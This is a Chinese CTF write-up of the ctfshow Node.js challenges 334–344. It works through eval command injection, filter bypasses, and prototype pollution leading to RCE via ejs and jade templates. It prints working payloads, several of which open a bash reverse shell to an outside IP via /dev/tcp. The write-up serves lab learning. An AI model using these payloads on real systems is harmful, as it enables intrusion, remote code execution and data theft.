nodejs-原型污染链
还是老规矩,边写边学,先分享两篇文章
深入理解 JavaScript Prototype 污染攻击 | 离别歌
《JavaScript百炼成仙》 全书知识点整理-CSDN博客
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
334-js审计
var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
// name: 用户名
// password: 密码
// 返回值:
// 如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
// 首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
// 然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
// 最后检查用户的密码是否与提供的密码匹配。/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
// req: 请求对象,包含客户端发送的请求信息。
// res: 响应对象,用于向客户端发送响应。
// next: 函数,用于将控制权传递给下一个中间件或路由处理函数。res.type('html');// 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。var flag='flag_here';// 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。var sess = req.session;// 获取请求对象中的会话对象,用于管理用户会话。var user = findUser(req.body.username, req.body.password);// 调用 findUser 函数,使用请求体中的用户名和密码查找用户。// req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。if(user){// 如果找到用户,执行以下代码块。req.session.regenerate(function(err) {// 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。// 参数:// err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。if(err){// 如果发生错误,执行以下代码块。return res.json({ret_code: 2, ret_msg: '登录失败'});// 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。// return 用于立即返回响应,阻止后续代码执行。}req.session.loginUser = user.username;// 将找到的用户名存储到会话中,表示用户已登录。res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});// 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。});}else{// 如果未找到用户,执行以下代码块。res.json({ret_code: 1, ret_msg: '账号或密码错误'});// 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。}
});
// 结束路由处理函数的定义。module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。items: [// 定义一个数组,数组中包含用户对象,用于存储用户信息。{username: 'CTFSHOW', password: '123456'}// 用户对象,包含用户名和密码属性。// username: 'CTFSHOW',表示用户名为 CTFSHOW。// password: '123456',表示该用户的密码为 123456。]
};
审计一下代码
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow
所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行)
335 -js命令执行
看源码有点提示。 然后去搜了一些js中eval的用法
eval() - JavaScript | MDN
那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process
模块,具体可看下面的文章
child_process 子进程 | Node.js v23 文档
先导入child_process模块,再执行命令查看路径
下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章
学习一些payload
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
336-exec被过滤
exec被过滤
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
也可以拼接绕过
?eval=require('child_process')['ex'%2B'ecSync']('ls')
还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)
打下面这个payload看到源码
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt')
337-js之语法
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作// 定义一个函数,用于计算字符串的md5值
function md5(s) {return crypto.createHash('md5') // 创建一个md5加密算法的hash对象.update(s) // 将要加密的字符串传入hash对象.digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求res.type('html'); // 设置响应的内容类型为htmlvar flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数var b = req.query.b; // 获取请求参数b的值// 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag); // 如果满足条件,直接返回flag}else{res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'}});module.exports = router; // 将路由对象导出,以便在其他文件中使用
这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
方法一
a={'x':'1'}
b={'x':'2'}console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3不管咋样结果都是[object Object]flag{xxx}
方法二
打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。
方法三
?a[]=x&b=x。首先要知道[‘a’]+flag= = =‘a’+flag,所以自然md5加密相同
338-原型链污染
这里再把p神的文章看一下,再做题显然更流畅
深入理解 JavaScript Prototype 污染攻击 | 离别歌
题目给了源码,审计一下源码,,发现两段核心代码
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
显然这个函数是递归,作用是将 object2
的所有可枚举属性(key)复制到 object1
中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__
,就可以原型链污染。
再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断 secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体res.type('html'); // 设置响应的内容类型为htmlvar flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息var sess = req.session; // 获取请求的会话对象,用于管理用户会话let user = {}; // 定义一个空对象user,用于存储用户信息utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中// 判断secert对象的ctfshow属性是否等于'36dboy'if(secert.ctfshow==='36dboy'){res.end(flag); // 如果条件满足,直接返回flag}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息}});module.exports = router; // 将路由对象导出,以便在其他文件中使用
在这段代码中,服务器使用 body-parser
中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)
{"__proto__":{"ctfshow":"36dboy"}}
339 -反弹shell污染
题目给了源码,审计一下,发现三段重要的代码
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。
ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客
而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行
接下来login的post打反弹shell
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}
然后路由改为api发包,结果是这样就对
flag在login.js里
下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译。下面的文章很详细可以仔细看看
nodejs - web339 原型链污染 - 《CTF show》 - 极客文档
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
非预期
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}
340-二次污染链-反弹shell
这题与上题就这有点不同
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell
flag在环境变量里,打env即可
341.污染链之ejs模板引擎漏洞。
这题删除了api,login.js也修改了
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'}); }else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧
文章 - Ejs模板引擎注入实现RCE - 先知社区
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}
login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。
342-343.污染链之jade rce
这题看来很多文章还是没看懂,代码功力太弱了,直接打payload
nodejs - web342 原型链污染 - 《CTF show》 - 极客文档
文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区
依旧login.js中post打这个paylaod(请求头中的“Content-Type”改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
344
题目页面给了代码
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
相关文章:
nodejs-原型污染链
还是老规矩,边写边学,先分享两篇文章 深入理解 JavaScript Prototype 污染攻击 | 离别歌 《JavaScript百炼成仙》 全书知识点整理-CSDN博客 Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客 334-js审计 var express require(expr…...
无人机与AI技术结合的突破性应用场景
1. 自主导航与动态避障 技术栈:SLAM 强化学习 (PPO算法) 代码示例(Python PyTorch): import torch class DronePPO(torch.nn.Module):def __init__(self):super().__init__()self.actor torch.nn.Sequential(torch.nn.Linear…...
jsBridge在vue中使用
创建jsBridge.js /* eslint-disable */ function connectWebViewJavascriptBridge (callback) {if (window.WebViewJavascriptBridge) {callback(window.WebViewJavascriptBridge)} else {document.addEventListener(WebViewJavascriptBridgeReady, function () { callback(wi…...
Windows下docker使用教程
docker安装 镜像制作镜像加载容器创建更新镜像导出镜像 Windows10安装dockerdocker image制作docker 镜像加载docker 容器创建更新imageimage 导出为.tar文件 #以Windows10 、11为例 linux和Windows区别在于docker安装的程序是哪个操作系统的,后面的内容其实不变 …...
iOS:GCD信号量、同步、异步的使用方法
信号量的详细用法,可以用此方法进行队列管理 -(void)dispatchSignal{//crate的value表示,最多几个资源可访问dispatch_semaphore_t semaphore dispatch_semaphore_create(3);dispatch_queue_t quene dispatch_get_global_queue(DISPATCH_QUEUE_PRIORI…...
Nginx相关漏洞解析
一、CRLF注入漏洞 原理:Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF 注入漏洞 1、开环境 2、访问网站,并抓包 3、构造请求头 %0ASet-cookie:JSPSESSID%3D1 这样就可以…...
SpringCloud构建一个服务步骤
Spring Cloud是一个用于构建分布式系统的开源框架,可以帮助开发者快速构建各种云原生应用。下面是一个简单的步骤,展示如何使用Spring Cloud构建一个服务: 创建一个Spring Boot项目:首先需要创建一个Spring Boot项目作为基础。可以…...
MySQL中怎么分析性能?
MySQL中主要有4种方式可以分析数据库性能,分别是慢查询日志,profile,Com_xxx和explain。 慢查询日志 先用下面命令查询慢查询日志是否开启, show variables like slow_query_log;# 一般默认都是以下结果 ---------------------…...
MinGW与使用VScode写C语言适配
压缩包 通过网盘分享的文件:MinGW.zip 链接: https://pan.baidu.com/s/1QB-Zkuk2lCIZuVSHc-5T6A 提取码: 2c2q 需要下载的插件 1.翻译 找到VScode页面,从上数第4个,点击扩展(以下通此) 搜索---Chinese--点击---安装--o…...
k8s存储介绍(五)PV与PVC
在 Kubernetes(k8s)中,持久化存储(Persistent Storage)是一个非常重要的概念,因为 Pod 本身是无状态的,重启后会丢失数据。为了支持有状态应用,Kubernetes 提供了持久化存储的机制&a…...
LangChain开发(五)消息管理与聊天历史存储
文章目录 消息存储在内存使用单参数session_id配置会话唯一键 消息持久化到redis安装redis依赖安装redis调用聊天接口,看Redis是否存储历史记录 裁剪消息总结记忆源码地址参考资料 消息存储在内存 我们展示一个简单的示例,其中聊天历史保存在内存中&…...
HTML 表单处理进阶:验证与提交机制的学习心得与进度(一)
引言 在前端开发的广袤领域中,HTML 表单处理堪称基石般的存在,是构建交互性 Web 应用不可或缺的关键环节。从日常频繁使用的登录注册表单,到功能多样的搜索栏、反馈表单,HTML 表单如同桥梁,紧密连接着用户与 Web 应用…...
【文献25/03/26】Hyperspectral Image Transformer Classification Networks
高光谱图像Transformer分类网络 Hyperspectral Image Transformer Classification Networks | IEEE Journals & Magazine | IEEE Xplore 摘要 高光谱图像(HSI)分类是地球观测任务中的一项重要工作。 卷积神经网络(CNN)凭借…...
数字转换(c++)
【题目描述】 如果一个数 xx 的约数和 yy (不包括他本身)比他本身小,那么 xx 可以变成 yy ,yy 也可以变成 xx 。例如 44 可以变为 33 ,11 可以变为 77 。限定所有数字变换在不超过 nn 的正整数范围内进行,…...
WPF ContentPresenter详解2
ContentPresenter与ContentControl的区别 ContentControl 和 ContentPresenter 是 WPF 中两个相关的控件,但它们在用途和功能上有一些关键的区别。理解这两者的区别和联系有助于更好地设计和开发用户界面。 1. 类层次结构 ContentControl:位于 WPF 控件…...
【git】认识git的本地仓库
1.创建本地仓库 git init2. 配置本地仓库 git config user.name xxx git config user.email xxx3. 认识本地仓库 创建完本地仓库后,目录下会有一个.git文件,这个就是本地仓库 而创建本地仓库的目录叫做工作区,我们不能对.git文件进行任何手…...
正则表达式基本语法和Java中的简单使用
先来个例子 public static final Pattern CHINESE_PATTERN Pattern.compile("[\\u4e00-\\u9fa5]"); / 检测字符串是否包含汉字 String text "Hello 世界"; boolean hasChinese CHINESE_PATTERN.matcher(text).find(); // 返回 true// 提取所有汉字 Mat…...
【大模型】什么是循环神经网络(RNNs)
在人工智能(AI)的世界里,**循环神经网络(Recurrent Neural Networks, RNNs)**是一种非常强大的工具,特别适合处理序列数据。无论是语言、时间序列还是音乐,RNNs都能帮助我们理解和预测这些数据的…...
Leetcode 交错字符串
java solution class Solution {public boolean isInterleave(String s1, String s2, String s3) {//首先获取这三个字符串的长度int m s1.length();int n s2.length();int l s3.length();if(m n ! l) return false;//创建dp数组,dp[i][j]其含义是s3的前ij个字符是否可以由…...
Vue动态绑定:文本框、单选按钮、下拉列表、多选按钮
Vue 指令系列文章: 《Vue插值:双大括号标签、v-text、v-html、v-bind 指令》 《Vue指令:v-cloak、v-once、v-pre 指令》 《Vue条件判断:v-if、v-else、v-else-if、v-show 指令》 《Vue循环遍历:v-for 指令》 《Vue事件处理:v-on 指令》 《Vue表单元素绑定:v-model 指令》…...
MySQL - 数据库基础操作
SQL语句 结构化查询语言(Structured Query Language),在关系型数据库上执行数据操作、数据检索以及数据维护的标准语言。 分类 DDL 数据定义语言(Data Definition Language),定义对数据库对象(库、表、列、索引)的操作。 DML 数据操作语言(Data Manip…...
从入门到精通:SQL注入防御与攻防实战——红队如何突破,蓝队如何应对!
引言:为什么SQL注入攻击依然如此强大? SQL注入(SQL Injection)是最古老且最常见的Web应用漏洞之一。尽管很多公司和组织都已经采取了WAF、防火墙、数据库隔离等防护措施,但SQL注入依然在许多情况下能够突破防线&#…...
关于优麒麟ukylin如何更换清华源以及ubuntu24.04安装gcc-i686-linux-gnu找不到包的问题
打算把这个文章当成一个调试Linux bug的汇总,会持续更新 1、关于优麒麟ukylin如何更换清华源 (1)首先打开命令行,切换root权限 su root 输入密码 如果第一次使用ubuntu会提示密码不正确,输入 sudo passwd root …...
Spring Boot 自定义 Starter 组件的技术指南
1、简述 Spring Boot 通过 Starter 机制,让开发者可以快速集成第三方组件。在企业级开发中,我们常常需要封装自己的 Starter 组件,以提高代码复用性,简化配置,并实现可插拔的模块化开发。 Spring Boot Starter 机制 …...
基于Spring Boot的ONLY在线商城系统设计与实现的设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...
HarmonyOS 之 @Require 装饰器自学指南
在 HarmonyOS 应用开发工作中,我频繁碰到组件初始化传参校验的难题。在复杂的组件嵌套里,要是无法确保必要参数在构造时准确传入,就极易引发运行时错误,而且排查起来费时费力。一次偶然的机会,我接触到了 Require 装饰…...
【Unity】 HTFramework框架(六十三)SerializableDictionary可序列化字典
更新日期:2025年3月26日。 Github 仓库:https://github.com/SaiTingHu/HTFramework Gitee 仓库:https://gitee.com/SaiTingHu/HTFramework 索引 一、SerializableDictionary可序列化字典1.使用SerializableDictionary2.实现思路 二、Serializ…...
JavaScript的性能优化指导
JavaScript 的性能优化可以从多个层面入手,涵盖代码执行效率、内存管理、DOM 操作、网络请求等。以下是一些关键优化策略: 一、代码执行优化 减少作用域链查找 避免在循环中频繁访问全局变量或深层嵌套的属性,将其缓存到局部变量中。 // 优化…...
如何在 Vue 项目中使用v - for指令进行列表渲染,如何优化其性能?
大白话如何在 Vue 项目中使用v - for指令进行列表渲染,如何优化其性能? 在Vue项目里,咱们常常会碰到要把一组数据渲染成列表的状况。这时候,v-for指令就派上大用场啦!它能让咱们轻松地把数据数组里的每个元素渲染成对…...
Notepad++ 替换 换行符 为 逗号
多行转一行,逗号分隔 SPO2025032575773 SPO2025032575772 SPO2025032575771 SPO2025032575771 SPO2025032575770为了方便快速替换,我们需要先知道这样类型的数据都存在哪些换行符。 点击【视图】-【显示符号】-【显示行尾符】 对于显示的行尾换行符【C…...
《基于机器学习发电数据电量预测》开题报告
个人主页:大数据蟒行探索者 目录 一、选题背景、研究意义及文献综述 (一)选题背景 (二)选题意义 (三)文献综述 1. 国内外研究现状 2. 未来方向展望 二、研究的基本内容,拟解…...
【Linux】MAC帧
目录 一、MAC帧 (一)IP地址和MAC地址 (二)MAC帧格式 (三)MTU对IP协议的影响、 (四)MTU对UDP协议的影响 (五)MTU对TCP协议的影响 二、以太网协议 &…...
企业入驻成都国际数字影像产业园,可享150多项专业服务
企业入驻成都国际数字影像产业园,可享150多项专业服务 全方位赋能,助力影像企业腾飞 入驻成都国际数字影像产业园,企业将获得一个涵盖超过150项专业服务的全周期、一站式支持体系,旨在精准解决企业发展各阶段的核心需求…...
飞速(FS)企业网布线解决方案:赋能能源行业客户高效网络部署与智能化管理
国家:中国 行业:能源与公用事业 网络类型:楼宇主干局域网 方案类型:企业网络布线 案例亮点 部署高密度、高性能飞速(FS)24口千兆企业级交换机,有效节省客户机房安装空间,提高并发…...
前端性能优化方案总结
首屏加载优化 把老版本的库替换成新版本,支持tree shaking的库,按需引入,只打包用到的部分,大大优化项目体积,加快项目的首屏渲染。 能不用第三方库,就不用第三方库,比如时间格式化,…...
基于ADMM无穷范数检测算法的MIMO通信系统信号检测MATLAB仿真,对比ML,MMSE,ZF以及LAMA
目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 ADMM算法 4.2 最大似然ML检测算法 4.3 最小均方误差(MMSE)检测算法 4.4 迫零(ZF)检测算法 4.5 OCD_MMSE 检测算法 4.6 LAMA检测算法 …...
[plugin:vite:import-analysis] Cannot find module ‘vuex\dist\vuex.esm-bundler
我的是升级了uview-plus版本,导致一直报错,即时将版本降回去也报错,需要将package-lock.json和package-lock.yaml文件删掉重新安装软件包...
用Deepseek + Kimi 快速生成高质量的ppt
AI系列文章: AWS AI认证考试中经常提及几个重要的工具介绍 简单理解机器学习中top_k、top_p、temperature三个参数的作用 用Deepseek Kimi 快速生成高质量的ppt 在职场,不管干什么,都少不了和 PPT 打交道:客户交流,…...
【Go万字洗髓经】Golang中sync.Mutex的单机锁:实现原理与底层源码
本章目录 1. sync.Mutex锁的基本用法2. sync.Mutex的核心原理自旋到阻塞的升级过程自旋CAS 饥饿模式 3. sync.Mutex底层源码Mutex结构定义全局常量Mutex.Lock()方法第一次CAS加锁能够成功的前提是?竞态检测 Mutex.lockSlow()lockSlow的局部变量自旋空转state新值构造…...
Maven入门
1、简介 Apache Maven是一个项目管理及自动构建工具,由Apache软件基金会所提供。基于项目对象模型(缩写:POM)概念,Maven利用一个中央信息片断能管理一个项目的构建、报告和文档等步骤。 2、作用 1)依赖导…...
SpringCloud Stream:消息驱动的微服务架构设计
文章目录 引言一、Spring Cloud Stream基础概念二、核心组件和架构三、消息生产者实现四、消息消费者实现五、消息分组与持久化六、消息分区与扩展七、函数式编程模型八、错误处理与重试机制九、测试与监控总结 引言 在当今复杂的分布式系统环境中,微服务架构已经成…...
进程通信(进程池的模拟实现) read write函数复习 Linux ─── 第23课
目录 进程池(process pool) 第一步: 创建并初始化processpool 第二步:主进程对子进程派发任务 补充: 第三步: 子进程执行完退出进程池 回收子进程 进程池的实现 Channel.hpp ProcessPool.hpp Task.hpp main.cc makefile 匿名管道的应用: 进程池 进程池(process po…...
Docker技术全景解析
一、Docker是什么 1.1 定义 Docker是一种容器化技术平台,它通过操作系统级别的虚拟化,将应用程序及其依赖打包成标准化的可移植单元(容器)。这种技术实现了: 环境一致性:消除“在我机器上能跑”的问题进…...
23种设计模式-状态(State)设计模式
状态设计模式 🚩什么是状态设计模式?🚩状态设计模式的特点🚩状态设计模式的结构🚩状态设计模式的优缺点🚩状态设计模式的Java实现🚩代码总结🚩总结 🚩什么是状态设计模式…...
【计算机网络运输层详解】
文章目录 一、前言二、运输层的功能1. 端到端通信2. 复用与分用3. 差错检测4. 流量控制5. 拥塞控制 三、运输层协议:TCP 和 UDP1. TCP:面向连接的可靠传输协议2. UDP:无连接的传输协议 四、端口号与进程通信1. 端口号分类2. 端口通信模型 五、…...
C# 多标签浏览器 谷歌内核Csharp
采用框架 :FBrowserCEF3lib 视频演示:点我直达 成品下载: https://wwms.lanzouo.com/iYOd42rl8vje...
分布式锁实战:Redis与Redisson的深度解析
一、分布式锁的必要性 在分布式系统中,当多个节点需要对共享资源进行读写操作时,传统的本地锁(如Java的synchronized或ReentrantLock)无法跨节点生效。此时,必须引入分布式锁来保证操作的原子性和一致性。分布式锁需满…...
【Centos7搭建Zabbix4.x监控HCL模拟网络设备:zabbix-server搭建及监控基础05
兰生幽谷,不为莫服而不芳; 君子行义,不为莫知而止休。 5.zabbix监控HCL模拟网络设备 在保证zabbix-server与HCL网络相通的情况下进行如下操作。 5.1创建主机群 配置-主机群-创建主机群 图 19 取名,添加。 图 20 5.2 创建监控…...
如何在 Windows 上安装并使用 Postman?
Postman 是一个功能强大的API测试工具,它可以帮助程序员更轻松地测试和调试 API。在本文中,我们将讨论如何在 Windows 上安装和使用 Postman。 Windows 如何安装和使用 Postman 教程?...
Zabbix监控K8s集群
虽然 Prometheus 被认为是 监控的Kubernetes最合适的工具 ,但其配置复杂、存储成本高以及告警管理繁琐等问题,使得一些传统运维团队更倾向于使用 Zabbix 这样的成熟监控方案。Zabbix 凭借其强大的数据采集、灵活的告警机制和直观的图形化界面,…...